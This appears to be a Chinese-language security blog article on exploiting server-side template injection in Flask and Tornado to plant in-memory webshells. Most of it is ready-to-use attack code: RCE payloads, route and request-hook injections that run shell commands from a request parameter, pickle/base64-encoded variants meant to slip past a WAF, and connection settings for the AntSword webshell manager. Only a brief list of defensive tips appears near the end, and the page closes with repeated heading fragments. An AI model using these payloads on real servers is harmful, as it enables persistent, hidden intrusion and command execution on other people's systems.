Flask和Tornado的SSTI内存马注入技术研究<\/h1>

0x00 前言<\/h2>
本文详细研究Python SSTI(Server-Side Template Injection)漏洞在Flask和Tornado框架中的利用技术，特别是如何注入内存马(内存Webshell)并进行图形化管理。通过分析实际攻击案例，探索了多种绕过WAF的方法，并实现了与中国蚁剑的集成。<\/p>

0x01 Flask SSTI基础研究<\/h2>

漏洞环境搭建<\/h3>
Flask SSTI漏洞通常出现在直接将用户输入拼接到模板中的情况：<\/p>
from<\/span> flask import<\/span> Flask, request
<\/span><\/span>from<\/span> jinja2 import<\/span> Template
<\/span><\/span>
<\/span><\/span>app =<\/span> Flask(__name__)
<\/span><\/span>
<\/span><\/span>@app<\/span>.<\/span>route("\/"<\/span>)
<\/span><\/span>def<\/span> index<\/span>():
<\/span><\/span>    name =<\/span> request.<\/span>args.<\/span>get('name'<\/span>, 'guest'<\/span>)
<\/span><\/span>    t =<\/span> Template("Hello "<\/span> +<\/span> name)
<\/span><\/span>    return<\/span> t.<\/span>render()
<\/span><\/span>
<\/span><\/span>if<\/span> __name__ ==<\/span> "__main__"<\/span>:
<\/span><\/span>    app.<\/span>run()
<\/span><\/span><\/code><\/pre>基本利用方法<\/h3>
通过以下payload可以判断存在SSTI：<\/p>
{{7*7}}  # 返回49则存在漏洞
<\/code><\/pre>
关键Python魔术方法：<\/p>

__class__<\/code> - 当前类<\/li>
__mro__<\/code> - 所有父类<\/li>
__subclasses__()<\/code> - 所有子类<\/li>
__globals__<\/code> - 全局变量<\/li>
__builtins__<\/code> - Python内置标识符<\/li>
__import__<\/code> - 导入模块<\/li>
<\/ul>
RCE Payload示例：<\/p>
{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
<\/code><\/pre>
0x02 Flask内存马注入技术<\/h2>
基本内存马原理<\/h3>
内存马的核心思想是动态添加路由，在路由中执行恶意代码。Flask中可以使用app.add_url_rule()<\/code>方法。<\/p>
初始Payload尝试<\/h3>
网上常见但可能失效的Payload：<\/p>
url_for.<\/span>__globals__['__builtins__'<\/span>]['eval'<\/span>](
<\/span><\/span>    "app.add_url_rule('\/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read(), {'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app']})"<\/span>
<\/span><\/span>)
<\/span><\/span><\/code><\/pre>有效Payload开发<\/h3>
通过flask.globals<\/code>访问上下文变量：<\/p>
{{ ''<\/span>.<\/span>__class__.<\/span>__mro__[-<\/span>1<\/span>].<\/span>__subclasses__()[X].<\/span>__init__.<\/span>__globals__['__builtins__'<\/span>]['eval'<\/span>]("__import__('flask').globals.current_app.add_url_rule('\/abking123', 'abking123', lambda :__import__('os').popen(__import__('flask').globals.request.args.get('abking')).read())"<\/span>) }}
<\/span><\/span><\/code><\/pre>访问\/abking123?abking=whoami<\/code>即可执行命令。<\/p>
新版Flask绕过技术<\/h3>
新版Flask在setupmethod<\/code>装饰器中增加了校验函数，导致add_url_rule()<\/code>失效。解决方案是使用before_request<\/code>或after_request<\/code>。<\/p>
before_request Payload<\/strong>:<\/p>
{{ ''<\/span>.<\/span>__class__.<\/span>__mro__[-<\/span>1<\/span>].<\/span>__subclasses__()[X].<\/span>__init__.<\/span>__globals__['__builtins__'<\/span>]['eval'<\/span>]("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(<\/span>\"<\/span>global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read())<\/span>\"<\/span>)==None else None)"<\/span>) }}
<\/span><\/span><\/code><\/pre>after_request Payload<\/strong>:<\/p>
{{ ''<\/span>.<\/span>__class__.<\/span>__mro__[-<\/span>1<\/span>].<\/span>__subclasses__()[X].<\/span>__init__.<\/span>__globals__['__builtins__'<\/span>]['eval'<\/span>]("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(<\/span>\"<\/span>global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read())<\/span>\"<\/span>)==None else resp)"<\/span>) }}
<\/span><\/span><\/code><\/pre>0x03 加密传输技术<\/h2>
使用pickle.loads()<\/code>进行反序列化实现加密传输：<\/p>
import<\/span> pickle
<\/span><\/span>import<\/span> base64
<\/span><\/span>
<\/span><\/span>code =<\/span> """def f():
<\/span><\/span><\/span>    return __import__('os').popen('whoami').read()
<\/span><\/span><\/span>f()"""<\/span>
<\/span><\/span>
<\/span><\/span>class<\/span> Exp<\/span>:
<\/span><\/span>    def<\/span> __reduce__<\/span>(self):
<\/span><\/span>        return<\/span> __builtins__.<\/span>exec, (code,)
<\/span><\/span>
<\/span><\/span>base64_class =<\/span> base64.<\/span>b64encode(pickle.<\/span>dumps(Exp()))
<\/span><\/span>print(base64_class)
<\/span><\/span>pickle.<\/span>loads(base64.<\/span>b64decode(base64_class))
<\/span><\/span><\/code><\/pre>SSTI Payload中使用：<\/p>
{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('BASE64_CODE_HERE'))") }}
<\/code><\/pre>
0x04 中国蚁剑集成<\/h2>
低版本Flask内存马生成<\/h3>
import<\/span> pickle
<\/span><\/span>import<\/span> base64
<\/span><\/span>
<\/span><\/span>code =<\/span> """def f():
<\/span><\/span><\/span>    return __import__('flask').globals.current_app.add_url_rule('\/abking123', 'abking123', lambda: __import__('os').popen(__import__('flask').globals.request.form['abking']).read(), methods=['POST'])
<\/span><\/span><\/span>f()"""<\/span>
<\/span><\/span>
<\/span><\/span>class<\/span> Exp<\/span>:
<\/span><\/span>    def<\/span> __reduce__<\/span>(self):
<\/span><\/span>        return<\/span> __builtins__.<\/span>exec, (code,)
<\/span><\/span>
<\/span><\/span>base64_class =<\/span> base64.<\/span>b64encode(pickle.<\/span>dumps(Exp()))
<\/span><\/span>print(base64_class)
<\/span><\/span><\/code><\/pre>通杀版本Flask内存马生成<\/h3>
import<\/span> pickle
<\/span><\/span>import<\/span> base64
<\/span><\/span>
<\/span><\/span>code =<\/span> """def f():
<\/span><\/span><\/span>    return __import__('flask').globals.current_app.before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else None)
<\/span><\/span><\/span>f()"""<\/span>
<\/span><\/span>
<\/span><\/span>class<\/span> Exp<\/span>:
<\/span><\/span>    def<\/span> __reduce__<\/span>(self):
<\/span><\/span>        return<\/span> __builtins__.<\/span>exec, (code,)
<\/span><\/span>
<\/span><\/span>base64_class =<\/span> base64.<\/span>b64encode(pickle.<\/span>dumps(Exp()))
<\/span><\/span>print(base64_class)
<\/span><\/span><\/code><\/pre>蚁剑连接配置<\/h3>

URL: http:\/\/target\/abking123<\/code><\/li>
密码: abking<\/code><\/li>
方法: POST<\/li>
<\/ul>
0x05 Tornado内存马注入<\/h2>
基础SSTI环境<\/h3>
import<\/span> tornado.ioloop
<\/span><\/span>import<\/span> tornado.web
<\/span><\/span>
<\/span><\/span>class<\/span> IndexHandler<\/span>(tornado.<\/span>web.<\/span>RequestHandler):
<\/span><\/span>    def<\/span> get<\/span>(self):
<\/span><\/span>        tornado.<\/span>web.<\/span>RequestHandler.<\/span>_template_loaders =<\/span> {}  # 清空模板引擎<\/span>
<\/span><\/span>        with<\/span> open('index.html'<\/span>, 'w'<\/span>) as<\/span> (f):
<\/span><\/span>            f.<\/span>write(self.<\/span>get_argument('name'<\/span>))
<\/span><\/span>        self.<\/span>render('index.html'<\/span>)
<\/span><\/span>
<\/span><\/span>app =<\/span> tornado.<\/span>web.<\/span>Application([(r<\/span>"\/"<\/span>, IndexHandler)],)
<\/span><\/span>app.<\/span>listen(5000<\/span>, address=<\/span>"127.0.0.1"<\/span>)
<\/span><\/span>tornado.<\/span>ioloop.<\/span>IOLoop.<\/span>current().<\/span>start()
<\/span><\/span><\/code><\/pre>RCE Payload<\/h3>
{{handler.application.settings['autoreload']=False;handler.application.settings['compiled_template_cache']=False;handler._template_loaders={};handler.application.add_handlers(".*$", [(r"\/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])}}
<\/code><\/pre>
蚁剑兼容Payload<\/h3>
{{handler.application.add_handlers(".*$", [(r"\/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])}}
<\/code><\/pre>
加密版本<\/h3>
import<\/span> pickle
<\/span><\/span>import<\/span> base64
<\/span><\/span>
<\/span><\/span>code =<\/span> """def f():
<\/span><\/span><\/span>    return handler.application.add_handlers(".*$", [(r"\/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])
<\/span><\/span><\/span>f()"""<\/span>
<\/span><\/span>
<\/span><\/span>class<\/span> Exp<\/span>:
<\/span><\/span>    def<\/span> __reduce__<\/span>(self):
<\/span><\/span>        return<\/span> __builtins__.<\/span>exec, (code,)
<\/span><\/span>
<\/span><\/span>base64_class =<\/span> base64.<\/span>b64encode(pickle.<\/span>dumps(Exp()))
<\/span><\/span>print(base64_class)
<\/span><\/span><\/code><\/pre>0x06 防御建议<\/h2>

避免直接将用户输入拼接到模板中<\/li>
使用模板引擎的安全配置，如Jinja2的autoescape<\/code><\/li>
及时更新框架版本<\/li>
部署WAF规则检测SSTI特征<\/li>
监控异常路由添加行为<\/li>
限制pickle反序列化操作<\/li>
<\/ol>
0x07 总结<\/h2>
本文详细研究了Flask和Tornado框架中的SSTI漏洞利用技术，特别是内存马注入方法。通过多种技术手段实现了：<\/p>

基础SSTI到RCE的利用<\/li>
内存马的注入与持久化<\/li>
新版Flask的绕过技术<\/li>
加密传输绕过WAF<\/li>
与中国蚁剑的集成<\/li>
<\/ul>
这些技术对于红队渗透测试和蓝队防御都具有重要参考价值。<\/p>
Flask和Tornado的SSTI内存马注入技术研究<\/h1>

0x01 Flask SSTI基础研究<\/h2>

0x02 Flask内存马注入技术<\/h2>

基本内存马原理<\/h3> 内存马的核心思想是动态添加路由，在路由中执行恶意代码。Flask中可以使用app.add_url_rule()<\/code>方法。<\/p>

0x04 中国蚁剑集成<\/h2>

0x05 Tornado内存马注入<\/h2>

基本内存马原理<\/h3>
内存马的核心思想是动态添加路由，在路由中执行恶意代码。Flask中可以使用`app.add_url_rule()<\/code>方法。<\/p>`
